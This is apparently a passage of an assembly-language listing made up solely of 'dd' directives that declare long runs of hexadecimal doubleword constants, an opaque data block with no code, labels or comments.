		dd 3EAC1D2h, 25E69F90h,	311DCA02h, 60015EF2h, 5F466825h
		dd 3ED86921h, 0DFD69162h, 13B42F46h, 0DF595038h, 958D194Ah
		dd 97DD3AE4h, 0A85F3CCAh, 4A03CACDh, 0E07BBF6Eh, 73154CCDh
		dd 0E4D6330h, 42C20E51h, 1BA7FE0h, 0E9253906h, 5848D9FEh
		dd 0D04424Eh, 0A00A3362h, 0FC054296h, 9A30E92Eh, 0E9C6B14Eh
		dd 15177112h, 5E2A9B95h, 0B9094A99h, 4AAF2D4Eh,	1E9C22E3h
		dd 0A7D94775h, 5C93F871h, 0CD12C1B3h, 63CD614Eh, 0FD3500C3h
		dd 475E30DEh, 9E2175CCh, 5C01373Bh, 40841C3h, 0AD68FAE5h
		dd 0B4904AE9h, 4E0FE3ECh, 6E065542h, 6CB23623h,	0B57ED778h
		dd 57496FEAh, 0B5CCD827h, 57708A79h, 2AAC81CDh,	0A5688030h
		dd 9A56FE6Eh, 1D0D79DAh, 477EDB61h, 2B0B4E57h, 7D9DD965h
		dd 0E9EF6C01h, 6325CA62h, 0F10ACD3Eh, 3E526518h, 0FA92EFF3h
		dd 6C58C831h, 0D8D90B04h, 45B7B2Bh, 146C468Bh, 75AD8AA3h
		dd 5C6465C5h, 0AF93F2F2h, 4C0A6C05h, 0D66D9E0h,	11E930FFh
		dd 7A0F636Bh, 2E46B44Dh, 2159515Dh, 5A9DCB7Ah, 0C0EC2049h
		dd 4B2468B3h, 4E64CC3Bh, 8620AE41h, 0BF74F075h,	4AB79282h
		dd 28A1A8E3h, 938A41F8h, 0E5FD81DFh, 27F17DAFh,	979F5D8h
		dd 89365235h, 0E913EA52h, 79AEB3FDh, 273E587Ch,	5017B456h
		dd 0B95ECA8h, 8DAE54Ah,	949B850h, 0C4907573h, 5195065Ch
		dd 675F97A9h, 20597BCEh, 0BE9C141h, 987A8D35h, 5B01C6FEh
		dd 0E93EEE7Ch, 0FB2571AAh, 273F8B6Fh, 0E9ABB855h, 2B70A031h
		dd 537FBC6Bh, 68419C66h, 9C60E12Bh, 0FE8B73D9h,	24F4944Fh
		dd 2DF80BA1h, 8F526FE8h, 12408AE1h, 0C359B3CAh,	0C96D67Bh
		dd 4CA2CBBDh, 0C72038B8h, 374F5676h, 0F2C75D2h,	0B2EABFE5h
		dd 4C6809F2h, 88551864h
		dd 3B5173D3h, 0CE2652D9h, 5ADC1078h, 0E302F1FDh, 12F618ABh
		dd 0E891A0F5h, 275D5080h, 45F9DE29h, 0D679DD67h, 6A974262h
		dd 0F5E03AF7h, 0E09D7714h, 81F0F537h, 793D9164h, 2A87A15Ah
		dd 0E90DD2CAh, 0A7DF6E0Ah, 0EC64D35Eh, 0C082E162h, 0A81FA263h
		dd 9D30C3D5h, 0E36627B8h, 9B95180h, 6BC0550Eh, 944BEA87h
		dd 600BBF73h, 13DD7008h, 59A7918h, 0AB86FAA6h, 42C6AC24h
		dd 0B1EDB189h, 0DF7A7C7Ah, 0DA16A2C5h, 6FCBC027h, 32168315h
		dd 94A2F11Bh, 0C5EAA24Eh, 0BBC8E4BFh, 0BAFE5308h, 2C1DF84Fh
		dd 4BA6BF7h, 366D68E1h,	0F2298CABh, 87B67F58h, 3E642D17h
		dd 86950FAh, 338B7C58h,	0F67EF0ABh, 0BEA1275Ch,	8855F399h
		dd 70ECF8Eh, 7586D1F6h,	10EB850h, 0E9E88812h, 0D27B26C3h
		dd 4E75599Bh, 73E916F2h, 8553ED0Dh, 0EACCEDF7h,	0BD2E4A68h
		dd 735E18D2h, 1DA2E1DDh, 0BE0F960Dh, 82097E04h,	8AD1BA06h
		dd 0BF008D53h, 0E74F36BCh, 6707C8ACh, 60769314h, 951EC2EFh
		dd 68011A3Bh, 1C34081Ch, 7D8C1414h, 3AFC584Eh, 0DFCE4CBh
		dd 0ECD329Dh, 54600C69h, 0FB0D05C2h, 0E294468h,	22C95DEDh
		dd 17C430D5h, 11C6054Eh, 0AABC06E9h, 0DF92639h,	2C5E137Bh
		dd 0ED64835Ah, 12ABF222h, 0F206AC3Dh, 0A0B1FEDEh, 0EE2F2FD1h
		dd 6095FD44h, 97695A50h, 0E6AAE291h, 9E295709h,	0F4ED965Dh
		dd 49524850h, 0ED549F5Dh, 0BB3DC08Ch, 60C61EA6h, 0A03431F5h
		dd 0F8B7C88Bh, 0FEBBC42h, 5424DEF5h, 0DE00FBFDh, 0B93BD55h
		dd 88365C46h, 60124B06h, 0DE090C2Ah, 0FC39D15Ch, 5BC5013Ah
		dd 0B83DC156h, 0ACB98946h, 4F14F56Bh, 3F851BA9h, 23D2983h
		dd 58C5889Fh, 0C6DC5B66h, 52CDFE01h, 73F46B6h, 3E7DE67Ch
		dd 0F505CAAEh, 9A96F05Ah, 7A71E910h, 0C7642D01h, 6C2955C4h
		dd 6BD12DF6h, 0D959C047h, 7689D17h, 0ED2627CDh,	8613C26Ch
		dd 3E862DFFh, 412F1BA2h, 0E5FFF06h, 5E82E879h, 0E9335687h
		dd 0D3590B6Bh, 0D7D88282h, 8C07B93Ah, 9504E0B6h, 2C74F028h
		dd 0EFE488BDh, 4D3602E9h, 5B8007Eh, 1273E435h, 0BB2C46E0h
		dd 80120663h, 0F5B374ACh, 4BBEC162h, 7B5C06F4h,	674D7DFEh
		dd 16D33977h, 0CF2C5B2Bh, 6E039861h, 7BC5CB1Ah,	0C57A3B2h
		dd 6F13CA68h, 63A369ABh, 5351E854h, 9D6532Ch, 7376D131h
		dd 0ADD27625h, 0F78497Ch, 68C809B7h, 19577978h,	0BF801EFDh
		dd 0DD59F1BEh, 0F72F3102h, 0B54C705Eh, 52BD2AF0h, 0D440167h
		dd 48685702h, 0C05E6845h, 7CA35BA0h, 6E212FE9h,	0EBE58279h
		dd 0BFC429A9h, 3A0752FCh, 0F352CBFEh, 791161F2h, 0F4C0B302h
		dd 78389B1h, 3A0FEFFEh,	0E94CB735h, 4449A3B0h, 81E58A84h
		dd 7712945Dh, 0CDFDBB41h, 4B525B02h, 0C00568FBh, 7DDCBE56h
		dd 31472F82h, 0EED97622h, 3C089CD3h, 0D4D46925h, 5E9BE98Bh
		dd 725BBF2h, 0CC7FB362h, 0FB292ED9h, 8305CB0Fh,	0FECED4FFh
		dd 5B29D328h, 0B1CFD4F0h, 0CA2620D8h, 0DC4D6325h, 47260750h
		dd 0E20CEC5Ch, 4F4C0379h, 5AE91343h, 0D7310B47h, 6DC5FA24h
		dd 4A1D8AEBh, 0B101FF29h, 0AF43940h, 92DE9042h,	0F216BDD5h
		dd 870CD1B7h, 505B70A5h, 634CE281h, 0E6ACA05Ah,	92605B70h
		dd 9C575A5Fh, 0E908CE78h, 0C00FF132h, 281459E8h, 10A52CD8h
		dd 5702DBF4h, 0E4809BFh, 2FD8E68Eh, 0AFB5055Ch,	0E0EA69BEh
		dd 0EE202C67h, 0E15EA14Fh, 11EEE12Eh, 7D5DE85Eh, 34FED2F6h
		dd 5F8A0197h, 8275CB78h, 945DB80Ch, 0F34A7D03h,	0EC96080Dh
		dd 34C71817h, 0CD02D3C7h, 0B355478h, 2004EFD1h,	0F60116B1h
		dd 0B3841D90h, 9FDAEEACh, 51E7014Fh, 2022FC2Ah,	0FE603609h
		dd 758CE531h, 0A0474AB2h, 562C7A96h, 3E000F13h,	0E9F03B96h
		dd 0F269AACh, 6E6C058h,	0FC8E53Fh, 18141C68h, 3BE319Bh
		dd 4F1166F2h, 4A0C045Ch, 0EF6DD409h, 0FD9C8691h, 0DDC32901h
		dd 5DB596CEh, 78EDB006h, 4C1CFA65h, 0A2D3E09Dh,	0E10A103Eh
		dd 6C4FB900h, 41494BC1h, 0C69F40E5h, 1F0190DBh,	5659CE29h
		dd 78605E5Dh, 0B7E81F72h, 0D0B2C32h, 0D4428A7Dh, 8DCA64D3h
		dd 0F702DCD0h, 0F508CE3Fh, 1FFED596h, 2F828D62h, 0F58000CAh
		dd 0E84A30A3h, 0A154E13Ch, 0C268E6C0h, 0E065099Eh, 526D1A77h
		dd 29C77E3Ah, 12806842h, 5961C2CFh, 894E9B7Bh, 0E1665E34h
		dd 3B636850h, 0F6FA2F2Dh, 68D4C00Ah, 60C03641h,	4B8D7579h
		dd 7EE91255h, 9EF391D9h, 2062D954h, 33122546h, 0EFA16143h
		dd 0BD5F060h, 2D3E3BF2h, 0F1B07EF2h, 0E476E91Bh, 6B69B143h
		dd 2859287Bh, 872D779Ah, 495271D1h, 994B6AF9h, 0A196D2DBh
		dd 3B7ECD5Dh, 0E985F5F2h, 1A24756h, 0FDA874CFh,	44F10239h
		dd 407D1A28h, 379AC91Ch, 0D0E6337Fh, 4CD163FCh,	0D9B8014Bh
		dd 0B6D23F0h, 2B50635Fh, 3A925108h, 775BEED2h, 11F603C0h
		dd 579FA609h, 58365E21h, 0C09E8C1h, 0D9DADEE9h,	94183CD3h
		dd 0DDBF1091h, 3A1D6D13h, 2F1E1B1Ch, 0A7E90CFCh, 0E4CACDD1h
		dd 55B12E65h, 0A42D0B3Dh, 30F2233Bh, 2862F256h,	0F58802EDh
		dd 0A4E38F9h, 0DD49C3E8h, 0AB81CE16h, 54D06AFCh, 162094F6h
		dd 0E356581Ch, 745E259Bh, 631FC3D5h, 0F8EBAF05h, 72C1947Bh
		dd 8473B31Ah, 4CA26F28h, 0EA282174h, 0A3A89707h, 209C2FE8h
		dd 0FC25D6A7h, 0A75C629Ah, 84720176h, 3AE2C009h, 3B5C5027h
		dd 95595850h, 189E847h,	3930D5F1h, 7BBB5293h, 14F09708h
		dd 0A2A13F5Fh, 611EA170h, 157D7340h, 5486A06Eh,	0CC7C6231h
		dd 0F520E747h, 9DC116FDh, 3013DB70h, 0AF0BBC60h, 6C5BE20Ch
		dd 8E82BDFFh, 77097BD9h, 0A10D1825h, 83D07F46h,	0EC6B07CBh
		dd 0D1E09D29h, 0C2258CB2h, 8E4C6158h, 0F9A0932Ch, 1E5BFD53h
		dd 2C1800BDh, 0EB282662h, 837F9498h, 76BBC9Eh, 56FB27BFh
		dd 66873A55h, 4C159068h, 4270B2F7h, 0EFDD34Eh, 0A0D792F2h
		dd 47BFF68Ch, 460E3E38h, 0AF03A517h, 0EAF30629h, 0BDD8C9D8h
		dd 0BC4A3E3Dh, 0C84E384Fh, 419474D4h, 0E962C521h, 5283F023h
		dd 94487F58h, 12952F10h, 5A41FA29h, 5F2B3711h, 0EE172D21h
		dd 0B272F307h, 0F2FA6CBBh, 0ACA64B2Bh, 8B21D4A1h, 0FC31F5EFh
		dd 525664CFh, 34BA17ECh, 307BF1Eh, 620CD68h, 0CD04399Dh
		dd 6634820Eh, 7FAD0416h, 69680DBEh, 0C389C2A5h,	72AFDD00h
		dd 58C47A9Eh, 3DBF120Eh, 95D4410Dh, 8FEE0480h, 7433208Fh
		dd 3D955BE9h, 3554FD41h, 29A04C3Ch, 0A92FF57Ch,	68C190F6h
		dd 667E5F44h, 0D641829Fh, 906B720h, 593E621Ch, 82989B78h
		dd 6ACFEEB7h, 1C993856h, 0C20562B1h, 4AD7E4EEh,	1CAB45D5h
		dd 40684449h, 33B229h, 2878BB53h, 4AE97052h, 2DD08055h
		dd 7E3D68BEh, 65411A33h, 697CD954h, 0F81D805Dh,	5B5BC825h
		dd 2A3BE145h, 0CEED4AB1h, 968FA32Bh, 7E3319AEh,	0A9808358h
		dd 0E275745Ah, 0CE01DFDBh, 7135D112h, 57F81191h, 582B3754h
		dd 0C67E27C2h, 54360950h, 0A7562EA8h, 853F2D01h, 133A02EAh
		dd 0C070A8C1h, 1368E0D3h, 65BCBE23h, 0B41B873h,	85C4E580h
		dd 0AA84B377h, 0EE01D856h, 19FA2B40h, 0C045856Ah, 322F4A7Eh
		dd 7C815345h, 16E70D06h, 19D32012h, 5E0EA994h, 0EB80B229h
		dd 61483681h, 66B5414h,	2B3170h, 300F2DD3h, 62501225h
		dd 5B07056Eh, 0E26B79B1h, 43A3C8C3h, 0AD025FE3h, 31FBA8EAh
		dd 0FFC05D07h, 0E92DFD89h, 0DB09A0h, 3F5773EBh,	975DEC06h
		dd 8D930AE5h, 9A6B6AA1h, 0AD4310E8h, 468FAC4Bh,	77E14BB0h
		dd 9934AD78h, 0DFF6A995h
		dd 2416057h, 4A5EF221h,	0F739606Bh, 5A288712h, 300AA40h
		dd 5B94EB2Dh, 0B153E9FBh, 0BC5F8878h, 0F76CE025h, 0BF837BD9h
		dd 7F355D01h, 30F3FD3Fh, 387D6296h, 4C4B0B49h, 0EC80120Ah
		dd 28A25EF8h, 33B05021h, 0B251872Ah, 0D051A93Eh, 88BAFE14h
		dd 0D0F78329h, 996C231h, 0FB415690h, 0F705A02Eh, 0B327DA7Ah
		dd 29B5273h, 6149931Ah,	21F9E829h, 0B00752A5h, 152D27FEh
		dd 71B2E069h, 1D8320C1h, 0AC3CA341h, 8AC0FB2Dh,	5127DABEh
		dd 0FA9D789Eh, 7EE2EB18h, 0F7E043Bh, 48FDF834h,	0D2C14FFEh
		dd 52079360h, 0C6D75EC6h, 95F7FCA0h, 4BE30B20h,	3D48665Dh
		dd 4A2F7DD0h, 981CD99Dh, 628486DAh, 8CC531C6h, 0D617588Eh
		dd 0D919C404h, 0B194EF3Bh, 91C081Ah, 0F9F8214h,	22CB0974h
		dd 6801B7F2h, 0A66E241Dh, 4E5E52D2h, 13E62750h,	34EA18D4h
		dd 99900EFh, 0C105B976h, 16A5EB58h, 4C64FF96h, 0B493F7ECh
		dd 3B0FC688h, 65587A09h, 0B354C836h, 3C2F51EEh,	0ABB902C9h
		dd 77126472h, 5CE1E660h, 19C27818h, 3E5D960Ch, 0C9021A9Dh
		dd 23984736h, 5F64F78Bh, 0F5E9CD0Bh, 0F0982190h, 2C3A0504h
		dd 0CAAA2E85h, 5DF68F03h, 0C4340C5Ch, 7282565Bh, 1857C666h
		dd 416E4968h, 55827B6Fh, 0FCC9A74Bh, 0EC8A6B84h, 4C718C5h
		dd 1D9F83Dh, 5EB4F381h,	6C870EC8h, 0D309FCCBh, 738AAB8h
		dd 0DAA87AE9h, 1A056B08h, 6C81591Ch, 30ED8DEFh,	0B45EEAB1h
		dd 0FC876274h, 781953F0h, 0DC9B20E9h, 0A3D3BD4Ah, 45494A01h
		dd 0BCF12719h, 0BA1FC45Ch, 7C73CAEFh, 7AB0F94Ah, 0E8B49566h
		dd 0E90BED42h, 7171883Bh, 3EC96806h, 0D2032D1Bh, 1D7D58A2h
		dd 72A24E55h, 4BCDB18Fh, 0FC089AD4h, 81570C65h,	7E124D30h
		dd 10BB28D5h, 0E90A07ECh, 0AF3EAA13h, 5BFAFA44h, 0B789784Eh
		dd 0D892D201h, 313ABD14h, 0E8016774h, 5C301639h, 0C32AB2DEh
		dd 0F5753C76h, 56C0FD13h, 4E21D9F0h, 5737D2F9h,	0C047A9A4h
		dd 4A1B481Ah, 7F1F874Eh, 4AAF9ED5h, 27BA680h, 0DB7650CCh
		dd 0E1101291h, 3B02FF3Fh, 0DAF265E9h, 2C021E20h, 0CCB98A19h
		dd 0AC4D449Eh, 0B3AC5F80h, 7EC1CAB6h, 1312765Dh, 5CC8E330h
		dd 17504965h, 0EDEF1D6Fh, 697CC219h, 0B5E1234Eh, 0CBD0082h
		dd 0E9FA5068h, 3D200AE5h, 18053F6h, 8ABCA809h, 0D9CB6E29h
		dd 0EDEF4B76h, 0B16581Fh, 2FB5CDE9h, 8708AB2Ah,	1215F13Bh
		dd 0D3103E81h, 5C8B350h, 515D70FAh, 49058A3Dh, 0FF59B592h
		dd 0ABDFE89Ah, 0BC3CF611h, 0D6E9F285h, 0AB2CFE19h, 2143172Dh
		dd 82C90592h, 2C40FB67h, 3DBC0EBBh, 4ED7F8CFh, 13EF41B2h
		dd 3A464D65h, 4C5946E4h, 393E3A58h, 0E9474803h,	2F0777D8h
		dd 0F415FCEBh, 0D9BF57D0h, 6801236h, 2B55A529h,	6BE6B044h
		dd 56B10E1Eh, 81D2C80Ch, 0CFBBE848h, 5D722554h,	6352ABBh
		dd 72685158h, 0BBE925F1h, 3A7579E2h, 3D8955AFh,	7EAF165Bh
		dd 13347058h, 0E911D31Ch, 0B9B3C2D2h, 84B01C22h, 4A74EC1Ch
		dd 8FA0189h, 0FF0F08B7h, 0B6641832h, 78B8250Ch,	0C7490359h
		dd 616E8909h, 42788FDAh, 714B875Fh, 8466FCC7h, 0BCFA0959h
		dd 0E260A7E8h, 5CBC4CB9h, 69204112h, 85294Ah, 0F00321BFh
		dd 41572AAh, 464E3E50h,	8412C0FFh, 531CB3B0h, 0FD53E931h
		dd 27EB4FC5h, 8349BE01h, 0EF816EF1h, 4D6C1ACDh,	0FD5F8342h
		dd 0B454C7ECh, 0B7270FE1h, 894E7EC0h, 0A574B983h, 0D588EA5Bh
		dd 5EEB0226h, 211B8EE6h, 0C00C3E22h, 0B79C8D10h, 37E96160h
		dd 8E5DD35Ah, 0F6230A93h, 5FDEC8E3h, 2ADC132Dh,	689500A1h
		dd 0B171CD6h, 0B9A45D5Ah, 41C860FAh, 0F18006B1h, 0C101BA73h
		dd 0B353667Eh, 0C32F3090h, 0FFA4F67Dh, 0F9E79E88h, 42B5D31h
		dd 928162Ah, 0D0DAC9D1h, 3F8BD3DFh, 0C02AF80Fh,	8C87BFEBh
		dd 3A453FD1h, 0A0A13BDh, 98B7F271h, 0AEB77E5Ch,	83C3062h
		dd 43F20CE3h, 72EBE4BDh, 0FE37259Dh, 3B606862h,	2939DF34h
		dd 626F2D52h, 2E62572Ah, 1BCE561h, 99DDCA01h, 0DF4FF22Ah
		dd 7B93BC0Bh, 5FEE091Bh, 0C842C5FBh, 0F7E65DB1h, 4F5D6817h
		dd 8A8E7FADh, 1E1324DBh, 1DBD283Ah, 5D805089h, 735D510Fh
		dd 56D70BDh, 0A2AEF505h, 1E2DAE8Ch, 4B16CA3Ah, 4B63DAA4h
		dd 50F9D80Dh, 7C1D4498h, 76AFC837h, 28CF0134h, 0D844D027h
		dd 0A1FB4E7h, 23F3D87h,	0D943BB92h, 0E2BB8289h,	0F454E461h
		dd 0FD8880C8h, 0E5305B00h, 0CFC58058h, 3AF87004h, 8F692CE8h
		dd 0AB9F04h, 5AD1285Bh,	0A3E4F480h, 0DA55F1EAh,	0F7862B41h
		dd 0DE488F03h, 7A967BE9h, 0AE0FAABFh, 4B30D39Dh, 6C51BD7Eh
		dd 5B92F76Ah, 0D97ED599h, 0E555F24Eh, 885CADA4h, 0CB443CC4h
		dd 5FA1692h, 5E4D8F07h,	3A011141h, 0D26FBC5Dh, 0C0783B85h
		dd 4BFA95BFh, 1F182D05h, 0B82354Eh, 5F078705h, 0DE18126Bh
		dd 0BB38880Ch, 0E45D540Ah, 4F6A2102h, 1501FD66h, 2101C42Ah
		dd 5443CE0Eh, 0ED68A100h, 5B35AB67h, 6D86589h, 18FAC7C1h
		dd 587F9A3Ah, 5479D40Ah, 2A72BBFh, 0DADE692Ch, 8186833Fh
		dd 0A840611Ah, 4B9CEAA1h, 4A9CAC54h, 0AC2107E1h, 0E66DE57Bh
		dd 8142717Ch, 0E947F4D3h, 0F028E54h, 61A5F380h,	628A065h
		dd 7C94FD59h, 466CC302h, 9A400564h, 4A791C43h, 675FE918h
		dd 9C46C3FDh, 0E2A79634h, 1B2F7852h, 569DA2E8h,	0E41DD85Ah
		dd 0FA06C2F2h, 3849E5E9h, 300A31C0h, 0FD91C2BEh, 0D4D2B9ECh
		dd 0D6100E06h, 608A5B57h, 0B6CA8E14h, 0C75E7D81h, 662A7033h
		dd 57DD9813h, 783BEA01h, 0E52A2729h, 0A80804EBh, 92C520FFh
		dd 0FEC6BF04h, 815FA6FCh, 0F6F39690h, 98DEE8D3h, 0C7D2092h
		dd 2C3F0D07h, 76AE0FD9h, 14AA2C56h, 2218C5B9h, 0CCEE9D79h
		dd 853EB902h, 0E85EF331h, 4E5D2D5Eh, 548A84Eh, 0D783DC29h
		dd 0E3E97191h, 0C1E49BCAh, 0D46BAFF4h, 26B81DA2h, 0A20293A1h
		dd 0EBE9C45Ah, 5B594791h, 33ECF481h, 0DB015C51h, 1608FAC7h
		dd 0D70EAC58h, 0E9A0C2FCh, 0FEA96384h, 0F5626A8Bh, 0A0D8FA57h
		dd 312A2EB4h, 4BE3CA8h,	8C617E5Ah, 0D87A5B6Fh, 0D8F65074h
		dd 0C157D12h, 0B04AB8B3h, 337FE99Bh, 485479C6h,	0A4BC2DD7h
		dd 219FA6F1h, 0D0B95CE0h, 0BC754513h, 0F4E347Eh, 0EBC412AAh
		dd 2AE90C78h, 7D47A13h,	0DA62CDE6h, 96F66327h, 6E4192B1h
		dd 5C9023A0h, 0B2A7EDA8h, 7BF678CCh, 963CD44Bh,	0BCE7C5ABh
		dd 0EFE95002h, 79EA5DF2h, 10862948h, 8912F403h,	0C6A121DFh
		dd 0CB8981E2h, 3B3E78ACh, 427ECF40h, 0E9DD16B5h, 0B4E8402Dh
		dd 58E13043h, 665CD073h, 687B273Dh, 3E20B06Ch, 5809C108h
		dd 84558850h, 16128508h, 512504A0h, 105414C5h, 5A70672Eh
		dd 5EC8CAE7h, 127B79F8h, 5D0BE920h, 0A50D5415h,	815E0171h
		dd 4D6703F2h, 5B1AF07Fh, 9DB618D7h, 5F64BA96h, 5ABD8BAAh
		dd 0E8B726E8h, 4CA6AC32h, 55FC802Dh, 7245B757h,	708798BEh
		dd 0C9CBA2B1h, 9246CA99h, 2EED77F4h, 5100CBCAh,	0A9767CB9h
		dd 0E11CC163h, 0FFC08107h, 0F77FDE56h, 0D44971D1h, 0FE053808h
		dd 0D0549A15h, 70BA5294h, 73024D13h, 0E91264ACh, 0AB8952BBh
		dd 4131353Dh, 0B538B26Eh, 288F51A9h, 60B207D0h,	2795D108h
		dd 243B7F0h, 53A7E381h,	60DF38A4h, 48D14B3Ch, 301D29EBh
		dd 2977C9F3h, 505A2B04h, 15C1A4BAh, 5F03C161h, 5CC152BBh
		dd 0CAC9806Eh, 54591120h, 8E224C1h, 33040504h, 0F1F8F1h
		dd 6856535Ah, 55D7BEBh,	0E9465E58h, 5F61B84Dh, 2C477FD7h
		dd 0B1B33C3h, 0E914360Ch
		dd 0EF2DEAF0h, 0DB01703Bh, 8DB07783h, 0AD51239Fh, 7EF52AB3h
		dd 81956930h, 0E450DD5Dh, 0D34F0DB8h, 4B7BF5A2h, 9F95A129h
		dd 525FD80Ah, 274DBAC6h, 411DD526h, 953AAB94h, 5520EDCCh
		dd 301CE1FAh, 0D01F58C2h, 1B85F80Bh, 786EC2A3h,	0C8B100FBh
		dd 806CB652h, 282E46C1h, 0AC3AD1F1h, 0B408F55Ah, 6A923CA3h
		dd 47EBA554h, 3EE73031h, 0D2981421h, 12E7C12h, 720F0641h
		dd 82E22CA1h, 5758BDD9h, 4BCC9D18h, 0F110CD2Eh,	0BEFF002Dh
		dd 0FDF9211Dh, 771E016Eh, 0C64B449Eh, 75A2EDC0h, 97EC116h
		dd 437E471Ah, 56B59AB9h, 30DF6B01h, 80A25AC5h, 0FBBDC801h
		dd 7BA70B83h, 0A7BBD6FCh, 598D6949h, 96F7F69Eh,	31F5421Fh
		dd 0DEE458C1h, 0ACC40FFAh, 23ADF328h, 0C9F9BF55h, 0E265126Ah
		dd 368C232h, 6217DE3Dh,	3A5D53C6h, 0C2CEF5FBh, 2F5DFE5Fh
		dd 8D14FCAFh, 0E885F168h, 0E1C7B4FBh, 251F03CBh, 639CF975h
		dd 0AF7445C1h, 256C6F10h, 696FA07Ch, 0BB1178EEh, 0E4A7BEA9h
		dd 770BC85Ah, 80111C66h, 352FBFEEh, 16E92D41h, 0D6797FC2h
		dd 912EC3E8h, 0D8215B61h, 0EA55652Bh, 0EB61B3C9h, 0F8B96110h
		dd 6ABC0920h, 9AF5C1E9h, 0FE9457E8h, 7645E913h,	0E03054C9h
		dd 0EC161431h, 0D32CB537h, 0EFC81FA5h, 6745F960h, 666557BCh
		dd 0EF104EA9h, 38BF0052h, 6834C04Eh, 671262EEh,	6DFE7A22h
		dd 55C28362h, 0DF0B6845h, 88475E5Bh, 6D28EB72h,	3A5DEE16h
		dd 0DC090A1Fh, 80187DF0h, 1673F956h, 604EAAFAh,	0DCFBEB44h
		dd 1D210ADh, 7375D52Eh,	74753002h, 5B8E6F10h, 0B04C281h
		dd 0BBF6C80h, 61118BEh,	8046D5ADh, 60B7E908h, 2FB9699Ah
		dd 1498A81Eh, 99C7B035h, 0D324C3F8h, 9F7F6A0Dh,	6C2DE6B6h
		dd 73168D3Eh, 47EA0317h, 0D236E14Eh, 8C876BBBh,	0CD016B22h
		dd 895BD929h, 8956BF30h, 0EED90482h, 478F5302h,	983F08DFh
		dd 80980120h, 745B687Ch, 2CB9E5A8h, 9B69E1D4h, 42C00401h
		dd 0ABD3CAF1h, 0E814046Bh, 802DB600h, 0EEE69ACEh, 97067B62h
		dd 304DF88h, 6EEDE17Eh,	93F44C9Dh, 70209FADh, 0C28003EAh
		dd 0E21DE776h, 0F6938602h, 0B9BF4604h, 78522009h, 9751B120h
		dd 537B4160h, 1E05AD80h, 1C264A75h, 446FC42Dh, 4162AC09h
		dd 832F4307h, 2F6A4799h, 6FC4324h, 0F832125Eh, 0FC73B2D4h
		dd 285D201Dh, 4446D25Ch, 0A49A336Bh, 35FC2B54h,	15604D0Eh
		dd 3080BC29h, 0AA054327h, 0EA1EF426h, 0BFD7044Ch, 0C9A1E99Eh
		dd 65CE3051h, 87CAB35Ch, 7003FEEAh, 900C076Ch, 36143B01h
		dd 883A6F2h, 5E140C40h,	0B466E912h, 0C1F31393h,	0BD0263A5h
		dd 29B548D7h, 0E5F4FFEFh, 7BFB9D0Bh, 205ACB8h, 1FC13F88h
		dd 7990ADBAh, 162D3780h, 2E2DD054h, 3B534B43h, 24C0A609h
		dd 86AE7682h, 561FAB0Ah, 0DD86421Bh, 0C4FEF640h, 0E7CAEC80h
		dd 4C205CD4h, 281035E3h, 0C8290BE4h, 1AA97F2Dh,	9D001D93h
		dd 26114F05h, 0B215E90Ch, 4ABF00E8h, 29236C67h,	70FA5FF8h
		dd 0F781C660h, 60124B16h, 0E8011D0Dh, 0CDEE0F05h, 6B16948h
		dd 556D281Ah, 6E596B76h, 4C26B25Dh, 0BF4A259Dh,	0D1095C9Ah
		dd 0E1976A3Ch, 6800BADCh, 0D82546D3h, 3E68586Ch, 0F51345FCh
		dd 78ECE489h, 16D0320Eh, 0B280FE47h, 0F74CED20h, 0C712C0DFh
		dd 0A06157ADh, 0E9FB3104h, 4AC8B2D1h, 831A1FEAh, 0ABCD5678h
		dd 33174413h, 0B885D6B3h, 0E939BEACh, 5AB58D45h, 2A5805DBh
		dd 0E84DB22Dh, 7DE9827Bh, 734CD2AFh, 0D32D80EEh, 6C601A12h
		dd 1268B603h, 5E09875Dh, 0DE8AC2D4h, 0EB664B07h, 9D59B847h
		dd 6F147314h, 1E8CC56Ch, 0A70DABC3h, 0E03E5CFBh, 1512040Fh
		dd 2A086B46h, 0D0A3368Eh, 48F739Fh, 0B9DDCDE9h,	108F58CDh
		dd 4869F3A7h, 2E7986Bh,	0B4602436h, 1E9D6137h, 0BA67FE34h
		dd 974F0B34h, 0E06D0F7h, 0EA0531AAh, 4D9B5045h,	72E462FFh
		dd 0C55C1272h, 4B902072h, 0B02FBCACh, 53E97EB1h, 4D95D29Ah
		dd 4F59FD4Bh, 0D53BF02Dh, 0F7C0EB2Ch, 1B7FB850h, 0AC1B0F4Fh
		dd 5864E0C4h, 42E13502h, 0C829382Ah, 0BC4F09F3h, 728282F4h
		dd 0C35D06E4h, 0E9070DACh, 0D5790DCFh, 61AAD8E0h, 5E422EC5h
		dd 40BB2385h, 253DC7F2h, 2DB849EAh, 0A6052B1Eh,	0B27DCAEh
		dd 0CCA6DEB6h, 0C34C2806h, 0F5503745h, 0D329D77Bh, 9AD52B0Bh
		dd 0EB6BF5DFh, 6BE77807h, 92AF74E8h, 0A2046BFCh, 0E8443731h
		dd 62B41C89h, 0E9165A50h, 0CA3AB419h, 0A94D0AEEh, 4604076Ch
		dd 0EDA2336Ah, 5110FF71h, 0C675FE61h, 755F6CF8h, 0ADC461FCh
		dd 480AF2CAh, 5BA28418h, 638C6802h, 600C490Fh, 1667B866h
		dd 0BCC60D4Eh, 145AE2h,	0D3982626h, 0DEF6F34Eh,	0F0514177h
		dd 92974E3Ch, 3E42D58Ah, 247DE657h, 52587D31h, 5C1E6CDDh
		dd 0C1808D93h, 0E485090Ch, 0AA5CE0F6h, 396E8D9Eh, 0CBD2C13Eh
		dd 0DCEBCC14h, 89C9E8FAh, 5FB29105h, 1040CB2Eh,	29199BF6h
		dd 6B6EA4D3h, 0BC934CB2h, 47E9C23Fh, 25387F74h,	68806A5Bh
		dd 5B756542h, 20ADACh, 3564C7C6h, 5FF50170h, 0FA27845Eh
		dd 92BED325h, 222B61BCh, 0BD9C51h, 7404E1B9h, 0BB205Ch
		dd 39ED63FBh, 95D2CEE9h, 9E6069EAh, 41D60282h, 7991E104h
		dd 0E63C63A3h, 6FF5985Ah, 18105C46h, 41904857h,	0AFA77C5h
		dd 195D1E68h, 0B703D3A8h, 0BB403B51h, 120B54B9h, 0D680905h
		dd 7E857BF2h, 5B07012Dh, 348879E9h, 6A175FA1h, 2CE0248Fh
		dd 6B4F2C70h, 7D1D07BDh, 8B0CFCA1h, 0F01E9D13h,	0DA134EB9h
		dd 1174EE94h, 210C8FAh,	0D2584D40h, 0C7E791B5h,	409D02D3h
		dd 834CEFD9h, 7E4C204h,	19834DBEh, 8B174C58h, 0F5E72C05h
		dd 1B1E08Dh, 0CF628581h, 37F9EA2Dh, 0D988B448h,	0E3C004EDh
		dd 6EE3C208h, 0B1E8FA08h, 0B84B9110h, 984C1042h, 6FB1511Ch
